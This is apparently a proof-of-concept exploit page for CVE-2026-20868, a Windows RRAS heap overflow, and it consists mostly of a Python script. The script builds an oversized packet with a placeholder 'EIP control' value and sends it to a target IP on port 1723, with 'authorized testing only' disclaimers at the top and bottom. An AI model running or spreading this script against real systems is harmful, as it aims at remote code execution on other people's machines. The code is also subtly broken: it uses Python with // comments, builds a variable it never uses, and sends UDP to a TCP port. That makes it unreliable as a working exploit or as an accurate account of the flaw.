CVE-2026-20868: Windows RRAS服务堆溢出远程代码执行漏洞

// CVE-2026-20868 PoC - Windows RRAS Heap Overflow // Author: Security Researcher // Note: This is educational code for authorized testing only import socket import struct import sys def create_rras_packet(): """Create a malicious RRAS packet to trigger heap overflow""" # RRAS protocol header header = b'\x00\x00' # Version header += struct.pack('<H', 0x0003) # Packet type header += struct.pack('<H', 0x0000) # Reserved # Malicious payload - oversized data to trigger overflow # This simulates the heap-based buffer overflow condition payload_size = 0x2000 # 8192 bytes - exceeds buffer limit overflow_data = b'A' * payload_size # Crafted data field that triggers vulnerability crafted_data = b'\x00' * 16 crafted_data += struct.pack('<I', 0x41414141) # EIP control crafted_data += b'\x00' * (payload_size - len(crafted_data)) packet = header + crafted_data return packet def exploit_rras(target_ip, port=1723): """Send exploit packet to target RRAS service""" try: sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.settimeout(5) print(f"[*] Targeting RRAS service at {target_ip}:{port}") print(f"[*] Generating malicious packet...") packet = create_rras_packet() print(f"[*] Sending exploit packet ({len(packet)} bytes)...") sock.sendto(packet, (target_ip, port)) print("[+] Packet sent successfully") print("[!] Check for service crash or remote code execution") sock.close() return True except Exception as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_ip> [port]") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 1723 exploit_rras(target, port) // Note: For authorized penetration testing only. Obtain proper authorization before testing.